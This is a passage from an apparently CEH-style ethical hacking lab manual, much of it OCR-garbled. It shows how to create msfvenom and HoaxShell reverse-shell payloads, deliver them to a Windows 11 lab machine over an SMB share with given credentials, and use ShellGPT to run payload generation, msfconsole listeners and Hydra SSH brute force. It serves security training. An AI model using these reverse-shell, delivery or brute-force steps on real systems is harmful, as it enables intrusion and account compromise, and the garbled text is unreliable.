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For a professional ethical hacker or pen tester, the first step in system hacking is to gain access to a target system using information obtained and loopholes found in the system’s access control mechanism. In this step, you will use various techniques to gain access to the target system. 

Vulnerability exploitation involves the execution of multiple complex, interrelated steps to gain access to a remote system. Attackers use discovered vulnerabilities to develop exploits, deliver and execute the exploits on the remote system. 



Task 1: Gain Access to a Remote System using Reverse Shell Generator
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[bookmark: _Hlk192029030][bookmark: _Hlk192029068]15. Navigate to shared drive CEH Tools  System Hacking and paste the copied reverse.exe file.
16. Switch to the Windows 11 machine and login. Navigate to shared drive CEH Tools  System Hacking and copy the reverse.exe file and paste it on the Desktop. 
Note: Here, we are sending the malicious payload through a shared directory; however, in real-time, you can send it via an attachment in an email or through physical means such as a hard drive or pen drive
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27. Click on Places from the Desktop and click on Home Folder to navigate to the /home/attacker location and copy shell.ps1 file and paste it in System Hacking directory of ceh-tools on 10.10.1.11
28. Switch to the Windows 11 machine, navigate to the shared drive CEH Tools  System Hacking and copy the shell.ps1 file and paste it on the Desktop.
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35. This concludes the demonstration of how to gain access to a remote system using Reverse Shell Generator.
36. Close all open windows and document all the acquired information. 
37. Turn off Windows 11 and Parrot Security virtual machines.

Lab Analysis 
Analyze and document the results of this lab exercise.
Task 2: Perform System Hacking using AI
Lab Scenario
As an ethical hacker or pen tester, the first step in system hacking is to gain access to a target system using information obtained and loopholes found in the system’s access control mechanism. In this lab, you will leverage AI tools to identify vulnerabilities and exploit them to gain access to the target system. You will use various techniques such as payload generation and establishing session with remote machine to achieve this.

Lab Objectives 
· Perform system hacking using ShellGPT

Lab Environment 
To carry out this lab, you need: 
· Parrot Security virtual machine 
· Ubuntu virtual machine 
· Web browsers with an Internet connection 
· Administrator privileges to run the tools

Overview of System Hacking using AI
System hacking using AI leverages advanced algorithms to identify and exploit vulnerabilities efficiently. AI tools automate tasks like password cracking, vulnerability scanning, and social engineering, enhancing the capabilities of ethical hackers. This approach improves the accuracy and speed of penetration testing, ensuring robust security assessments and effective mitigation strategies.

Perform System Hacking using ShellGPT
Using ShellGPT for system hacking involves leveraging its AI capabilities to identify and exploit system vulnerabilities. ShellGPT can automate tasks such as password cracking, vulnerability scanning, and exploit development, enhancing the efficiency of ethical hackers. It provides advanced tools for penetration testing and securing systems against potential threats. 
Note: The commands generated by ShellGPT may vary depending on the prompt used and the tools available on the machine. Due to these variables, the output generated by ShellGPT might differ from what is shown in the screenshots. These differences arise from the dynamic nature of the AI's processing and the diverse environments in which it operates. As a result, you may observe differences in command syntax, execution, and results while performing this lab task. 

1. Turn on the Parrot Security and Ubuntu virtual machines. 
2. Before starting this lab, follow the steps to integrate ShellGPT provided in previous Lab; Setup → Integrate ShellGPT in Parrot Security Machine.
3. After incorporating the ShellGPT API in Parrot Security Machine, in the terminal window run sgpt --shell “Use msfvenom to create a TCP payload with lhost=10.10.1.13 and lport=444" to generate a payload using msfvenom tool. 
Note: In the prompt type E and press Enter to execute the command.
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Lab Analysis 
Analyze and document the results of this lab exercise.
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A reverse shell generator s a tool or script used in cybersecurity and ethical hacking for creating
reverse shell payloads. A reverse shell s a type of shellin which a target system connects back
to an attacker's system, allowing the attacker to execute commands on the target system
remotely

Note: In previous lab we have seen how to generate payload and listener manually, now we will
automate this process by using Reverse Shell Generator.

1. In Parrot Security machine, open a Terminal window and execute sudo su o run the
programs as a root user (When prompted, enter the password toor),

2. In the terminal window, run docker run -d -p 80:80 reverse_shell_generator command
to start Reverse Shell Generator.

Note: If you receive an error run service apache2 stop command and perform Step#2
again.

Now, launch Firefox web browser and g to http://localhost to access Reverse Shell
Generator GUI

4. We wil generate a payload using predefined set of commands in Reverse Shell
Generator. To do 5o, first we need to set the IP and port numbers.
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8. Switch to the terminal window and paste the copied code in the terminal and press
Enter, to create payload with IP 10.10.1.13 and port 4444,

9. We will start a listener using Reverse Shell Generator, to do so, switch to the brt
window and select msfconsole as Type from the drop-down under Listener.

10. A code will be generated with the selected IP address and port number, click Copy to
copy the code.

Reverse Shell Generator

aret Ustanr
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5. In the IP field, type 10.10.1.13 as listener IP and in the Port field, type 4444 as listener
port.

Reverse Shell Generator

6. Now, we will create payload using msfvenom option present in the reverse shell
generator tool, to do 0, click MSFVenom tab. You can observe, msfvenom command
which you can use to generate a payload (here, reverse.exe.

Note: Here, we are selecting Windows Meterpreter Staged Reverse TCP (x64) from
MSFVenom section to generate payload.

7. Scroll down and click on Copy button to copy the MSFVenom code.
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11. Now, switch to the terminal window and paste the copied code to start the listener.

12. As we have started the listener, we will now, transfer the payload to the victim machine,
here, we are transferring the payload using the shared folder.

13.Click on Places from the Desktop and click on Home Folder to navigate to the
/home/attacker and copy reverse.exe file.

14.Click the Places menu at the top of Desktop and click ceh-tools on 10.10.1.11 from the
drop-down options.

Note: If ceh-tools on 10.10.1.11 option is not present then follow the below steps to
access CEH-Tools folder:

* Click the Places menu present at the top of the Desktop and select Network from
the drop-down options.

= The Network window appears; press CtrisL. The Location field appears; type
smb://10.10.1.11 and press Enter to access Windows 11 shared folders.

* The security popup appears; enter the Windows 11 machine credentials
(Admin/Pas$wOrd) and click Connect.

= The Windows shares on 10.10.1.11 window appears; double-click the CEH-Tools
folder.
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17. Double-clck reverse.exe file to run it If a User Account Control pop-up appears, click
Yes.

18. Switch to the Parrot Security machine. Switch to the terminal window, you can see that
a session has been created with the Windows 11 machine.

19.Type getuid and press Enter. This displays the current user ID, as shown in the
screenshot

20. Close the terminal window.

21. Now, we will gain access to the remote system using Powershell sript. To do 5o, switch
to the browser window and select HoaxShelltab,
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22.1n the Hoaxshell section, select Powershell IEX from the left pane (change the port
number to 444 in the payload) and click on Copy button at the bottom to copy the
payload

23. Open a new terminal window as a superuser and run pluma shell.ps1 command to open
atext editor window.

24.1n the shell.ps1 text editor window, paste the copied code Save the fle and close the
text editor window
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e will now run a hoaxshell lists
the port number is 444, select hoaxshell from the Type dro
section and click on Copy to copy the code.

code tostart the |
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Note: Here, we are sending the malicious payload through a shared directory; however,
time, you can send it via an attachment in an email or through physical means
a hard drive or pen drive.

Now, we will run this Shell ps1 ile s a legitimate user.

In the Windows search type powershell and click on Run as Admin
Windows PowerShell o open a Powershell window.

Note: 2 User Account Control pop-up appears, click Yes.

I the PowerShell window, run cd C:\Users\Admin\Desktop\ to navigate

Execute \shell.ps1 to run the shellps1 file.

Switch to the Parrot Security machine. Switch to the terminal window, you can see that
on has been created with the Windows 11 machine.
on username type whoami and press Enter. The tool displays the
 the currently logged on user.
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4. You can run Is command to display a list of files in the directory and you can
file named a5 payload.exe has been created, as shown in the screen

Run sgpt ~-shell “Use msfconsole to start a listener with Ihost
Iport=444° to initiaize listener on the given LHOST and LPORT.

Note: In the prompt type E and press Enter to execute the command.
Msfconsole successfuly initalizes the listener, as shown n the screenshot.

Note: As we are not executing payload in the victim's machine, you wil not be able to
stablish any session.

Run exit command to exit msfconsole.
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Run sgpt -shell “Use Hydra to perform SsH-bruteforce on IP address=10.10.1.9 using
username.txt and password.txt files available at location /home/ attacker/Wordiist” to
perform SSH-bruteforce attack on the target ma

rompt type E and press Enter to execute the command.

Using the provided wordlist files, Hydra cracks SSH username and password of the
target machine (he

10. Run sgpt ~shell “Perform stegnography using steghide to hide text "My swiss account
number is 232343435211113' in cover.jpg image file with password as ‘1234 to
demonstrate image stegnography. (here, cover.jpg fle i I

Note: In the prompt type E and press Enter to execute the command.

11. The given text is embedded to cover.jpg fle, as shown in the screenshot.
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12. Now, navigate to /home/attacker and double-click cover.jpg file to view the image file.

Close the image file and attacker window. Navigate back to the Terminal window.

Now, we will extract hidden text from the cover jog file by executing sgpt ~shell “Use
steghide to extract hidden text in cover.jpg”.

Note: In the prompt type E and press Enter to execute the command.

Inthe Enter passphrase prompt, type 1234 and press Enter.
Inthe next prompt, type y and press Enter to continue.

You can observe that the extracted data is stored in the secret.txt file.

Now, run pluma secret.txt command to view the extracted data fil
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xtracted data is same as the input data given in Step#10.

Apart from the aforementioned commands, you can further use ShellGPT prompts to
perform system hacking.

This concludes the demonstration of performing system hacking using ShellGPT.

Close all open windows and document al the acquired information.

Turn off the Parrot Security and Ubuntu virtual machine
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